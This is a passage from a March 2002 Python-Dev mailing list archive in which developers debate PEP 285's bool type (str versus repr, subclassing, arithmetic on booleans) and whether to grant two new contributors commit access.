Date: Sat, 09 Mar 2002 11:05:59 -0500
Subject: [Python-Dev] Two developer candidates
References: <15498.3622.740770.219249@12-248-41-177.client.attbi.com> <200203091433.g29EXeK09233@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3C8A32E7.9B37926@metaslash.com>

Guido van Rossum wrote:

> > I don't have a problem with either Jeff or Bernie being granted developer
> > privileges.  Feel free to add your two cents.
> 
> Great!  I have one reservation, but maybe I should be talked out of
> it: I don't recall seeing patches submitted to SF by either of these.
> Maybe we need to give them a trial period where they submit their work
> to SF first?  Soon enough we'll see if they're worth giving commit
> privileges based upon the volume of their output.
> 
> Or am I being too conservative?  It could be that the chore of
> uploading to SF is enough of a deterrent to make these good folks
> unproductive...  Chicken or egg, really.  Should we just go for it?

I've recently gone through the process as a new initiate.
I don't think it is too burdensome to upload patches to SF,
although SF is a PITA (especially recently).

The breaking-in period is a good introduction and provides
important feedback in the early stages of getting to know the code.

Neal


From jeremy@zope.com  Sat Mar  9 16:35:23 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Sat, 09 Mar 2002 11:35:23 -0500
Subject: [Python-Dev] Two developer candidates
In-Reply-To: <3C8A32E7.9B37926@metaslash.com>
Message-ID: <web-3697189@digicool.com>

On Sat, 09 Mar 2002 11:05:59 -0500
 Neal Norwitz <neal@metaslash.com> wrote:
> The breaking-in period is a good introduction and
> provides
> important feedback in the early stages of getting to know
> the code.

I agree.  There is so little written down about how we
operate, that it's probably hard for a new participant to
get things right, regardless of interest or ability.

Jeremy


From mal@lemburg.com  Sat Mar  9 17:44:02 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Sat, 09 Mar 2002 18:44:02 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net> <3C890B2F.1486C05A@activestate.com> <200203081923.g28JNVl05772@pcp742651pcs.reston01.va.comcast.net> <3C8912A7.A913A4FE@lemburg.com> <200203081944.g28JicE05942@pcp742651pcs.reston01.va.comcast.net>
 <3C89F479.9D79F5E3@lemburg.com> <200203091451.g29Epqp09273@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3C8A49E2.32FC5BBC@lemburg.com>

Guido van Rossum wrote:
> 
> [MAL]
> > > > If you want to dive into logic here, the only correct output
> > > > would be:
> > > >
> > > > >>> True * 10
> > > > True
> > > > >>> False * 10
> > > > False
> 
> [Guido]
> > > What has logic got to do with this?
> 
> [MAL]
> > Booleans are by nature truth values. You can do boolean algebra
> > on them, but this algebra is completly different from what
> > you get if you treat them as numbers having two values 0 and 1
> > (bits). Booleans representing a logical value should not
> > implement +, -, *, etc. at all. Instead, they would have to
> > be converted to integers first, to implement these operations.
> 
> So you're reversing your position.  First (see above) you were
> pleading that True*10 should yield True.  Now you are pleading that it
> should raise an exception.

No, I'm just giving evidence of what mixing booleans with
bits can lead to.
 
> Anyway, in a brand new language the latter might be a good idea, but
> since we're trying to evolve Python without breaking (much) existing
> code, we have no choice: bools must behave like ints as much as
> possible, especially in arithmetic.

Right, but please don't try to add some booleaness to bits.
 
> > I think in summary, the confusion we have run into here is
> > caused by Python's use of bits to represent booleans.
> 
> I don't understand this.  The way I see it, current Python doesn't use
> bits for Booleans.  It has no Boolean type, and the integers 0 and 1
> are conventional but not the only ways to spell Boolean outcomes.

Bits are 1 and 0. Booleans are True and False. You can coerce
the two mathematical types, but they essentially cover different
areas, e.g. 

>>> True - True
False

simply doesn't fly.
 
> > You would like to move this usage more in the direction of booleans,
> > but only half way.
> 
> Yes, forced by backwards compatibility.
>
> > Exactly; which is why I don't understand the move to
> > override __str__ with something which doesn't have anything
> > to do with integers :-)
> 
> Probably because we have a different intuition on how str() is used.
> For me, it's mostly used as an output conversion.  But it seems that
> for you, conversion to a decimal int is important because you need to
> feed that into other applications that require decimal strings.

Right.
 
> > Heck, it's only one method we're argueing about here.
> > Why are all these cycles needed to convince you that backwards
> > compatibility is better than the cosmetics of having str(True)
> > return 'True' ?
> 
> Maybe because at the start it wasn't clear that that is your only
> *real* objection, and you brought so many other arguments into play?

You started this game and asked for these many arguments :-)

My only objection is overriding the __str__ method. Everything
else is just fine.

You don't have a boolean type in the sense of algebra, but we 
can't change that due to Python's history and a true algebraic 
boolean type can easily be written as extension, so it doesn't
worry me much.

Hmm, perhaps you should name the type "truth" or "truthvalue" 
rather than boolean.

> Or maybe because you and I are using Python in very different ways, so
> that what's obvious for you isn't always obvious for me (and vice
> versa)?

Could be... I don't like it when things are broken on purpose
just to have an interactive session return "nice" output. I also
don't like scanning tons of code to find the few instances
where this change breaks application interop.

There must be other ways to satisfy your requirements and
mine.

> > You can always implement the latter as a subtype of bool if you care
> > enough and without breaking code.
> 
> I thought about this last night, and realized that you shouldn't be
> allowed to subclass bool at all!  A subclass would only be useful when
> it has instances, but the mere existance of an instance of a subclass
> of bool would break the invariant that True and False are the only
> instances of bool!  (An instance of a subclass of C is also an
> instance of C.)  I think it's important not to provide a backdoor to
> create additional bool instances, so I think bool should not be
> subclassable.
> 
> Of course, you can define your own subclass of int similar to the bool
> class I show in the PEP, and you can give it any semantics you want --
> but that would also defeat the purpose of having a standard bool.
> 
> What will happen in reality is that people will have to write:
> 
>     print repr(b)
> 
> rather than:
> 
>     print b
>
> That's not terribly bad.  But I'm not sure I'm ready to answer the
> complaints from newbies who are confused by this:
> 
>     >>> isinstance(1, int)
>     True
>     >>> print isinstance(1, int)
>     1
>     >>>

This is not different from printing other objects:

>>> from mx.DateTime import *
>>> now()
<DateTime object for '2002-03-09 18:32:10.21' at 82424b8>
>>> print now()
2002-03-09 18:32:12.93

or

>>> 1.4
1.3999999999999999
>>> print 1.4
1.4

> So I need someone else to chime in with additional evidence that
> str(True) should be '1', not 'True'.  So far you've been carrying this
> particular argument all by yourself.

I was also the only one that had objections when nested scopes 
were first proposed by Jeremy on this list... I'm sure others
will chime in once you have checked in an implementation.

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From pedroni@inf.ethz.ch  Sat Mar  9 17:43:35 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Sat, 9 Mar 2002 18:43:35 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net> <3C890B2F.1486C05A@activestate.com> <200203081923.g28JNVl05772@pcp742651pcs.reston01.va.comcast.net> <3C8912A7.A913A4FE@lemburg.com> <200203081944.g28JicE05942@pcp742651pcs.reston01.va.comcast.net>             <3C89F479.9D79F5E3@lemburg.com>  <200203091451.g29Epqp09273@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <009901c1c791$f064ae80$6d94fea9@newmexico>

Hi. [after contemplation of scheme, CL, and Python]

> 
> That's not terribly bad.  But I'm not sure I'm ready to answer the
> complaints from newbies who are confused by this:
> 
>     >>> isinstance(1, int)
>     True
>     >>> print isinstance(1, int)
>     1
>     >>> 
> 

My 2cts. IMHO an explicit bool type add cognitive burden,
does not subtract from there, especially given
that Python should preserve its truth semantics rules.

The only win is that we have a blessed return type
for predicates, which is just an ideal win  
as long as there is code around that does not stick
with the new convention. Ant the cometics.

A more clear win is RPC (but so late
in the game it seems people have dealt
with that otherwise).

So it seems it is a matter of BDFL's taste :).
By the way the proposal open new style questions:
E.g. Should one write:

[A] def f(arg,optflag=0):

 f(...,1)

Or
 
[B] def f(arg,optflag=False):

f(...,True).

Guido is up to your taste :).

regards, Samuele Pedroni.








From gmcm@hypernet.com  Sat Mar  9 18:16:00 2002
From: gmcm@hypernet.com (Gordon McMillan)
Date: Sat, 9 Mar 2002 13:16:00 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <3C8A49E2.32FC5BBC@lemburg.com>
Message-ID: <3C8A0B10.23423.762D1BC3@localhost>

On 9 Mar 2002 at 18:44, M.-A. Lemburg wrote:

> Guido van Rossum wrote:

> > So far you've been carrying this particular
> > argument all by yourself. 
> 
> I was also the only one that had objections when
> nested scopes were first proposed by Jeremy on this
> list... I'm sure others will chime in once you have
> checked in
> an implementation.

It hasn't helped that the argument has contained a 
whole lot of red herrings.

Personally, I think repr(True) should return 1
and str(True) should return "True" (in line with
str being the "friendly" and repr the "techy"
representations).

If there were any proposal for and / or to return
booleans, I'd scream bloody murder, but in my
own code, I don't forsee much breakage otherwise.

-- Gordon
http://www.mcmillan-inc.com/



From pedroni@inf.ethz.ch  Sat Mar  9 18:14:10 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Sat, 9 Mar 2002 19:14:10 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <3C8A0B10.23423.762D1BC3@localhost>
Message-ID: <00ae01c1c796$365ef860$6d94fea9@newmexico>

> Personally, I think repr(True) should return 1
> and str(True) should return "True" (in line with
> str being the "friendly" and repr the "techy"
> representations).
>

Probably non-sense:

eval(repr(True)) is True

should be true.

>From repr doc:

For many types, this function makes an attempt to return a string that would
yield an object with the same value when passed to eval().

AFAIK repr goes beyond that in the sense that for a value for which repr(x) has
not the property,
then eval(repr(x)) fails miserably.
Such types have a <...> repr.

repr is not just about techy reprs <wink>.

regards.



From gmcm@hypernet.com  Sat Mar  9 18:39:04 2002
From: gmcm@hypernet.com (Gordon McMillan)
Date: Sat, 9 Mar 2002 13:39:04 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <00ae01c1c796$365ef860$6d94fea9@newmexico>
Message-ID: <3C8A1078.6920.76423CFC@localhost>

On 9 Mar 2002 at 19:14, Samuele Pedroni wrote:

> eval(repr(True)) is True
> 
> should be true.

You're right. I confused myself by
thinking a 1 would generally do
where a True was expected.

-- Gordon
http://www.mcmillan-inc.com/



From skip@pobox.com  Sat Mar  9 19:37:32 2002
From: skip@pobox.com (Skip Montanaro)
Date: Sat, 9 Mar 2002 13:37:32 -0600
Subject: [Python-Dev] Two developer candidates
In-Reply-To: <200203091433.g29EXeK09233@pcp742651pcs.reston01.va.comcast.net>
References: <15498.3622.740770.219249@12-248-41-177.client.attbi.com>
 <200203091433.g29EXeK09233@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15498.25724.741461.13478@12-248-41-177.client.attbi.com>

>>>>> "Guido" == Guido van Rossum <guido@python.org> writes:

    >> I've received just two requests from people to become developers:
    >> 
    >> Jeff Bauer (jeff@rubic.com)
    >> Bernard Yue (bernie@3captus.com)

    Guido> Great!  I have one reservation, but maybe I should be talked out
    Guido> of it: I don't recall seeing patches submitted to SF by either of
    Guido> these.

In his note, Jeff admitted:

    I haven't sent in patches since the days that we sent unified diffs
    directly to Guido, ...

    Guido> Or am I being too conservative?  It could be that the chore of
    Guido> uploading to SF is enough of a deterrent to make these good folks
    Guido> unproductive...  Chicken or egg, really.  Should we just go for
    Guido> it?

Someone on c.l.py remarked that there are enough people on the checkins list
to notice ill-considered checkins.

Skip



From tim.one@comcast.net  Sat Mar  9 20:17:05 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 09 Mar 2002 15:17:05 -0500
Subject: [Python-Dev] Two developer candidates
In-Reply-To: <15498.25724.741461.13478@12-248-41-177.client.attbi.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEPLOCAA.tim.one@comcast.net>

I definitely pay special attention to checkins coming from people I don't
have a long history with.  Indeed, I caught the recent failure in imaplib.py
first just because seeing a patch come by from a rare committer made me
eager to update and test immediately.

[Guido]
> Or am I being too conservative?  It could be that the chore of
> uploading to SF is enough of a deterrent to make these good folks
> unproductive...  Chicken or egg, really.  Should we just go for it?

I'd go for it, *provided* we aren't shy about revoking dev status when it
doesn't work out.  Revoke first, argue later <0.5 wink>.



From tim.one@comcast.net  Sat Mar  9 20:27:10 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 09 Mar 2002 15:27:10 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <0a5201c1c768$36ed92b0$0500a8c0@boostconsulting.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEPMOCAA.tim.one@comcast.net>

[David Abrahams]
> ...I guess I can see why you're really intending that
>
>     >>> 0 or False
>     False
>
> but
>
>     >>> False or 0
>     0
>
> This sure rubs all my expectations for a bool the wrong way, though.

It has much more to do with expectations for what "and" and "or" do.  Note
that they're not "operators" in Python, they're control structures, and
cannot be overridden.  Don't mix bools with ints with control structures,
and you won't get surprised; "False or 0" returning 0 in Python is no more
surprising than that

if False:
    x = False
else:
    x = 0

sets x to 0, and *oodles* of code relies on that equivalence.

> I think I'd better just write my own assertion routine, as Guido
> suggested. I don't like non-obvious language constructs for something so
> simple (I'd mention ?: here but I don't need the bruises).

Na, do this:

def bool(e):
    return e and 'True' or 'False'

Then wrap your true/false expressions in bool() calls.  All assuming
x-version invariance is important to you.  When versions of Python before
2.3 become uninteresting, get rid of the bool() function (and so unmask the
builtin of the same name).



From mal@lemburg.com  Sat Mar  9 20:42:32 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Sat, 09 Mar 2002 21:42:32 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <3C8A0B10.23423.762D1BC3@localhost>
Message-ID: <3C8A73B8.76EDA136@lemburg.com>

Gordon McMillan wrote:
> 
> On 9 Mar 2002 at 18:44, M.-A. Lemburg wrote:
> 
> > Guido van Rossum wrote:
> 
> > > So far you've been carrying this particular
> > > argument all by yourself.
> >
> > I was also the only one that had objections when
> > nested scopes were first proposed by Jeremy on this
> > list... I'm sure others will chime in once you have
> > checked in
> > an implementation.
> 
> It hasn't helped that the argument has contained a
> whole lot of red herrings.

While I don't agree that the arguments I included in the
thread were red herrings, I do admit that this was sports; 
Guido started the game and I played along ;-)

> Personally, I think repr(True) should return 1
> and str(True) should return "True" (in line with
> str being the "friendly" and repr the "techy"
> representations).
> 
> If there were any proposal for and / or to return
> booleans, I'd scream bloody murder, but in my
> own code, I don't forsee much breakage otherwise.

I like the fact that we add extra meta-information to
Py_True and Py_False (type information in this case).

However, we should not pretend the type implements
something which it doesn't. It certainly does not
implement boolean algebra so the name is misleading.

Making it a true boolean type would cause too much
breakage though, so I'd rather have it become an
abstract type, i.e. no special casing except maybe
fixing __repr__ to indicate the different type
to the user...

+1 on making bool an abstract subtype of integers
   and having Py_True and Py_False as only instances

-1 on overriding interfaces other than informational
   ones such as __repr__

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From David Abrahams" <david.abrahams@rcn.com  Sat Mar  9 20:51:13 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Sat, 9 Mar 2002 15:51:13 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <LNBBLJKPBEHFEDALKOLCMEPMOCAA.tim.one@comcast.net>
Message-ID: <003b01c1c7ac$29a9c9e0$0500a8c0@boostconsulting.com>

----- Original Message -----
From: "Tim Peters" <tim.one@comcast.net>

> It has much more to do with expectations for what "and" and "or" do.
Note
> that they're not "operators" in Python, they're control structures,
and
> cannot be overridden.

Yes, I realize what's actually going on (and/or are Lisp-y), but as I
said, it rubs my expectations for expressions with bool the wrong way.

> Don't mix bools with ints with control structures,

That mixing was your suggestion, if I recall <.02 wink>

> and you won't get surprised; "False or 0" returning 0 in Python is no
more
> surprising than that
>
> if False:
>     x = False
> else:
>     x = 0
>
> sets x to 0, and *oodles* of code relies on that equivalence.

I think you were the one who taught me the wonderful (x and [y] or
[z])[0] trick, so yes, I'm aware of that. On the other hand (I hope I'm
a flame-retard now), people shouldn't have to do stuff like that,
especially in a world with bool.

In any case,  it seems to me that it's been correctly noted that you
/will/ see these mixtures for quite some time to come, because of legacy
code.

> > I think I'd better just write my own assertion routine, as Guido
> > suggested. I don't like non-obvious language constructs for
something so
> > simple (I'd mention ?: here but I don't need the bruises).
>
> Na, do this:
>
> def bool(e):
>     return e and 'True' or 'False'
>
> Then wrap your true/false expressions in bool() calls.  All assuming
> x-version invariance is important to you.  When versions of Python
before
> 2.3 become uninteresting, get rid of the bool() function (and so
unmask the
> builtin of the same name).

Harrumph. The builtin doesn't create strings, but bools. I don't think
doctest is going to ignore the quotes.

-Dave




From pedroni@inf.ethz.ch  Sat Mar  9 21:01:36 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Sat, 9 Mar 2002 22:01:36 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <3C8A0B10.23423.762D1BC3@localhost> <3C8A73B8.76EDA136@lemburg.com>
Message-ID: <021901c1c7ad$9a2d1540$6d94fea9@newmexico>

From: M.-A. Lemburg <mal@lemburg.com>
> 
> +1 on making bool an abstract subtype of integers
>    and having Py_True and Py_False as only instances
> 
> -1 on overriding interfaces other than informational
>    ones such as __repr__
> 

So you mean just:

class truth(int): # other names?, should not be subclassable
  def __new__(cls,val): # ??
    if val:
      return true
    else:
      return false
  def __repr__(self):
    if  self:
      return 'true'
   else:
     return 'false'

true = int.__new__(truth,1) # also Py_True
false = int.__new__(truth,0) # also Py_False


    





From tim.one@comcast.net  Sat Mar  9 21:19:25 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 09 Mar 2002 16:19:25 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <003b01c1c7ac$29a9c9e0$0500a8c0@boostconsulting.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEPPOCAA.tim.one@comcast.net>

[Tim]
>> Don't mix bools with ints with control structures,

[David Abrahams]
> That mixing was your suggestion, if I recall <.02 wink>

Of course:  it solved your problem.  That you went on to whine about it
isn't really my doing <wink>.

> ...
> I think you were the one who taught me the wonderful (x and [y] or
> [z])[0] trick, so yes, I'm aware of that.

Well, I invented that one, so I suppose it's possible.  I've never actually
used it, though.

> On the other hand (I hope I'm a flame-retard now), people shouldn't
> have to do stuff like that, especially in a world with bool.

Nobody has ever had to do stuff like that; fear of if/else is baffling to
me.  I supported adding a ?: ternary workalike to Python anyway, and Guido
even implemented one, but gave up on it.  Unfortunately, the reasons for
rejection were never recorded in a PEP.

> In any case,  it seems to me that it's been correctly noted that you
> /will/ see these mixtures for quite some time to come, because of legacy
> code.

Yes.  I don't mind them at all.

>> Na, do this:
>>
>> def bool(e):
>>     return e and 'True' or 'False'

> Harrumph. The builtin doesn't create strings, but bools. I don't think
> doctest is going to ignore the quotes.

Damn, you're right.  I'll patch doctest to special-case the snot out of
those specific strings <wink>.  In the meantime,

def ibool(e):
    return e and 1 or 0
    # or "return operator.truth(e)"

will work across all Pythons forever, or back to 1.4 if you use
operator.truth to avoid offending yourself <wink>.



From pedroni@inf.ethz.ch  Sat Mar  9 21:23:56 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Sat, 9 Mar 2002 22:23:56 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <LNBBLJKPBEHFEDALKOLCOEPPOCAA.tim.one@comcast.net>
Message-ID: <024301c1c7b0$b90d1b60$6d94fea9@newmexico>

> Damn, you're right.  I'll patch doctest to special-case the snot out of
> those specific strings <wink>.  In the meantime,
> 
> def ibool(e):
>     return e and 1 or 0
>     # or "return operator.truth(e)"
> 
> will work across all Pythons forever, or back to 1.4 if you use
> operator.truth to avoid offending yourself <wink>.
> 

And will improve doc tests doc readability <wink>.

sorry-I-couldn'-stop-myself-ly y'rs - Samuele.



From pedroni@inf.ethz.ch  Sat Mar  9 21:28:52 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Sat, 9 Mar 2002 22:28:52 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <LNBBLJKPBEHFEDALKOLCOEPPOCAA.tim.one@comcast.net> <024301c1c7b0$b90d1b60$6d94fea9@newmexico>
Message-ID: <024d01c1c7b1$68dae7c0$6d94fea9@newmexico>

From: Samuele Pedroni <pedroni@inf.ethz.ch> 
> 
> And will improve doc tests doc readability <wink>.
> 

Oops that should have been

> And will improve doctest test docstrings readability <wink>.

or doc tests readability <wink>.





From pedroni@inf.ethz.ch  Sat Mar  9 21:45:57 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Sat, 9 Mar 2002 22:45:57 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
Message-ID: <02b001c1c7b3$cc786440$6d94fea9@newmexico>

> 
> > Damn, you're right.  I'll patch doctest to special-case the snot out of
> > those specific strings <wink>.  In the meantime,
> > 
> > def ibool(e):
> >     return e and 1 or 0
> >     # or "return operator.truth(e)"
> > 
> > will work across all Pythons forever, or back to 1.4 if you use
> > operator.truth to avoid offending yourself <wink>.

Btw given that probably operator.truth() will
become a synonym of bool() the "# or" comment
does not apply.

Tim, should we start to be worried about the problems you have
to get those things right or are you just in very-low-concetration mode?

regards, Samuele Pedroni.




From paul@prescod.net  Sat Mar  9 22:06:37 2002
From: paul@prescod.net (Paul Prescod)
Date: Sat, 09 Mar 2002 14:06:37 -0800
Subject: [Python-Dev] Boolean transition
Message-ID: <3C8A876D.2EAD2D@prescod.net>

I'm in favour of adding the boolean feature in as compatible a manner as
possible. But I think that we need a transition plan to separate
booleans from integers. Booleans are not integers and
True+True-False+5=6 is just weird. Arithmetic manipulation of booleans
should be deprecated and should fade away. isinstance(True, int) should
be deprecated. etc.

Another strategy is to implement booleans as a totally unrelated type
and phase them into the operators later after people have had time to
change code that adds or subtracts from the result of boolean operators.
The current subtyping strategy provides a better hook for deprecation
warnings. My only concern is that we decide and document that booleans
will one day be as completely unrelated to integers as exceptions are to
strings.

 Paul Prescod


From David Abrahams" <david.abrahams@rcn.com  Sat Mar  9 22:22:38 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Sat, 9 Mar 2002 17:22:38 -0500
Subject: [Python-Dev] Boolean transition
References: <3C8A876D.2EAD2D@prescod.net>
Message-ID: <006b01c1c7b9$2dd649a0$0500a8c0@boostconsulting.com>

This rubs my expectations the right way. Does it foreshadow the
introduction of boolean operators (e.g. &, |, &&, ||)?

-Dave

----- Original Message -----
From: "Paul Prescod" <paul@prescod.net>
To: <python-dev@python.org>
Sent: Saturday, March 09, 2002 5:06 PM
Subject: [Python-Dev] Boolean transition


> I'm in favour of adding the boolean feature in as compatible a manner
as
> possible. But I think that we need a transition plan to separate
> booleans from integers. Booleans are not integers and
> True+True-False+5=6 is just weird. Arithmetic manipulation of booleans
> should be deprecated and should fade away. isinstance(True, int)
should
> be deprecated. etc.
>
> Another strategy is to implement booleans as a totally unrelated type
> and phase them into the operators later after people have had time to
> change code that adds or subtracts from the result of boolean
operators.
> The current subtyping strategy provides a better hook for deprecation
> warnings. My only concern is that we decide and document that booleans
> will one day be as completely unrelated to integers as exceptions are
to
> strings.
>
>  Paul Prescod
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev@python.org
> http://mail.python.org/mailman/listinfo/python-dev
>



From martin@v.loewis.de  Sat Mar  9 22:28:09 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 09 Mar 2002 23:28:09 +0100
Subject: [Python-Dev] Two developer candidates
In-Reply-To: <200203091433.g29EXeK09233@pcp742651pcs.reston01.va.comcast.net>
References: <15498.3622.740770.219249@12-248-41-177.client.attbi.com>
 <200203091433.g29EXeK09233@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <m33cz99y12.fsf@mira.informatik.hu-berlin.de>

Guido van Rossum <guido@python.org> writes:

> Great!  I have one reservation, but maybe I should be talked out of
> it: I don't recall seeing patches submitted to SF by either of these.
> Maybe we need to give them a trial period where they submit their work
> to SF first?  

I think *anybody* should submit patches to SF first unless you are
100% sure that the patch fixes the problem in an undebatable way, and
perhaps unless it is you.

Being able to say "this is fine, please check it in (replacing the C++
style comment with a C style comment)" already helps reducing the load
on the reviewer.

Unless the new contributors are very careful, I'm sure they will break
the CVS sooner or later. Unless this happens a week before the 2.3
release, I have no problem with that.

Regards,
Martin



From martin@v.loewis.de  Sat Mar  9 22:34:59 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 09 Mar 2002 23:34:59 +0100
Subject: [Python-Dev] Boolean transition
In-Reply-To: <3C8A876D.2EAD2D@prescod.net>
References: <3C8A876D.2EAD2D@prescod.net>
Message-ID: <m3u1rp8j58.fsf@mira.informatik.hu-berlin.de>

Paul Prescod <paul@prescod.net> writes:

> I'm in favour of adding the boolean feature in as compatible a manner as
> possible. But I think that we need a transition plan to separate
> booleans from integers. Booleans are not integers and
> True+True-False+5=6 is just weird. Arithmetic manipulation of booleans
> should be deprecated and should fade away. isinstance(True, int) should
> be deprecated. etc.

I don't find that too wierd; certainly not more puzzling than {} < ().
If arithmetic operations on booleans are to be deprecated, I'd suggest
the following strategy:
- add booleans to 2.3 (or perhaps 2.4?)
- deprecate arithmetic operations on them in 2.4, by means of a warning

This will tell how frequent that warning is, so it may need to be
disabled in 2.4.1. If it is going to stay
- let arithmethic operations on booleans raise TypeErrors in 2.5
- stop inheriting from int in 2.6.

> The current subtyping strategy provides a better hook for deprecation
> warnings. My only concern is that we decide and document that booleans
> will one day be as completely unrelated to integers as exceptions are to
> strings.

I'm not sure that this is desirable. By the same rationale, you should
argue that boolean operations on integers are a bad thing. This would
be not Pythonic.

Regards,
Martin


From martin@v.loewis.de  Sat Mar  9 22:29:47 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 09 Mar 2002 23:29:47 +0100
Subject: [Python-Dev] Two developer candidates
In-Reply-To: <LNBBLJKPBEHFEDALKOLCOEPLOCAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCOEPLOCAA.tim.one@comcast.net>
Message-ID: <m3y9h18jdw.fsf@mira.informatik.hu-berlin.de>

Tim Peters <tim.one@comcast.net> writes:

> I'd go for it, *provided* we aren't shy about revoking dev status when it
> doesn't work out.  Revoke first, argue later <0.5 wink>.

+1.

Martin


From martin@v.loewis.de  Sat Mar  9 22:41:43 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 09 Mar 2002 23:41:43 +0100
Subject: [Python-Dev] Boolean transition
In-Reply-To: <006b01c1c7b9$2dd649a0$0500a8c0@boostconsulting.com>
References: <3C8A876D.2EAD2D@prescod.net>
 <006b01c1c7b9$2dd649a0$0500a8c0@boostconsulting.com>
Message-ID: <m31yet8iu0.fsf@mira.informatik.hu-berlin.de>

"David Abrahams" <david.abrahams@rcn.com> writes:

> This rubs my expectations the right way. Does it foreshadow the
> introduction of boolean operators (e.g. &, |, &&, ||)?

I hope not. "and", "or" is boolean enough, for me. No more line noise
is needed.

Regards,
Martin


From skip@pobox.com  Sun Mar 10 00:20:21 2002
From: skip@pobox.com (Skip Montanaro)
Date: Sat, 9 Mar 2002 18:20:21 -0600
Subject: [Python-Dev] Two developer candidates
In-Reply-To: <LNBBLJKPBEHFEDALKOLCOEPLOCAA.tim.one@comcast.net>
References: <15498.25724.741461.13478@12-248-41-177.client.attbi.com>
 <LNBBLJKPBEHFEDALKOLCOEPLOCAA.tim.one@comcast.net>
Message-ID: <15498.42693.132488.147302@12-248-41-177.client.attbi.com>

    Tim> I definitely pay special attention to checkins coming from people I
    Tim> don't have a long history with....

    Tim> I'd go for it, *provided* we aren't shy about revoking dev status
    Tim> when it doesn't work out.  Revoke first, argue later <0.5 wink>.

I hope we don't have to get that harsh.  I wonder more about the people who
are already listed as developers but never exercise their privilege.

Skip



From skip@pobox.com  Sun Mar 10 01:39:26 2002
From: skip@pobox.com (Skip Montanaro)
Date: Sat, 9 Mar 2002 19:39:26 -0600
Subject: [Python-Dev] multiple recursion limit bugs
Message-ID: <15498.47438.578080.778224@12-248-41-177.client.attbi.com>

I've been poking through the open bugs and patches(*).  I've run across a
few bug reports about this.  There is a very brief mention of this problem
in the re module doc:

    sre is the default implementation and includes Unicode support, but may
    run into stack limitations for some patterns.

I recently added an example that demonstrates the problem, but I think the
main issue is that the limitation needs to be better documented.  We can
then close most/all of these bug reports as "not a bug" or "known
implementation limitation".  Does this seem like the right approach?

That is, unless /F has plans to remove this limitation.

Skip

(*) I have a new little script that allows me to annotate bugs and patches
in my local database - I intend to publish a static page where people can
quickly scan all open bugs and patches.  Hopefully I'll have enough items
annotated in the next few days to make it worthwhile.



From tim.one@comcast.net  Sun Mar 10 02:23:20 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 09 Mar 2002 21:23:20 -0500
Subject: [Python-Dev] Two developer candidates
In-Reply-To: <15498.42693.132488.147302@12-248-41-177.client.attbi.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEAOODAA.tim.one@comcast.net>

[Tim]
> I'd go for it, *provided* we aren't shy about revoking dev status
> when it doesn't work out.  Revoke first, argue later <0.5 wink>.

[Skip Montanaro]
> I hope we don't have to get that harsh.

Locking out someone who's screwing up isn't harsh, it's healthy
self-preservation.  Don't be so fucking nice <wink>.

> I wonder more about the people who are already listed as developers
> but never exercise their privilege.

So long as they don't get in the way, I don't mind.  It's *silly* to keep
inactive developers on the list, but until someone hacks the code base from
an account they've forgotten they had, I don't think it's doing any real
harm.



From tim.one@comcast.net  Sun Mar 10 02:38:28 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 09 Mar 2002 21:38:28 -0500
Subject: [Python-Dev] Boolean transition
In-Reply-To: <3C8A876D.2EAD2D@prescod.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCGEAPODAA.tim.one@comcast.net>

[Paul Prescod]
> I'm in favour of adding the boolean feature in as compatible a manner as
> possible. But I think that we need a transition plan to separate
> booleans from integers. Booleans are not integers and
> True+True-False+5=6 is just weird.  Arithmetic manipulation of booleans
